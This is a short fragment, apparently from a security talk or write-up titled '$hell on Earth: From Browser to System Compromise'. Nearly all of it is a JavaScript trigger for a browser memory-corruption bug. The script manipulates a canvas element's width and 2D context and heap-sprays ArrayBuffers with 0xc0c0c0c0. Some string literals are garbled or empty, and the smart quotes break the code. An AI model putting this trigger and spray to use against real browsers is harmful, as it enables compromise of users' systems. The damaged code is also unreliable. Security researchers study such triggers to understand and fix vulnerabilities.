$hell on Earth

The vulnerability is triggered with the following script:
var global_elementId = 0;
var arr = new Array();
function trigger() {
c3 = document.getElementById(“ca” + global_elementId.toString());
c3.width = 3333;
var i = 0;
document.write(“”);
for (index = 0; index < 0x30; index++)
{
c3.width = 43;
var buf = new ArrayBuffer(0x100);
var int40Array = new Uint32Array(buf);
for (i = 0; i < 0x100/4; i ++)
{
int40Array[i] = 0xc0c0c0c0;
}
arr[index] = int40Array;
}
}
c2 = null;
function exploit() {
c1 = document.getElementById(“ca”+ global_elementId.toString());
c2 = c1.getContext(“2d”);
c2.fillText(“clipPathUnits”, 100, 34);
global_elementId += 1;
}
document.write(“
\n\n\n\n\
n\n\n
”);
9 | <strong>$hell</strong> on Earth: From Browser to System Compromise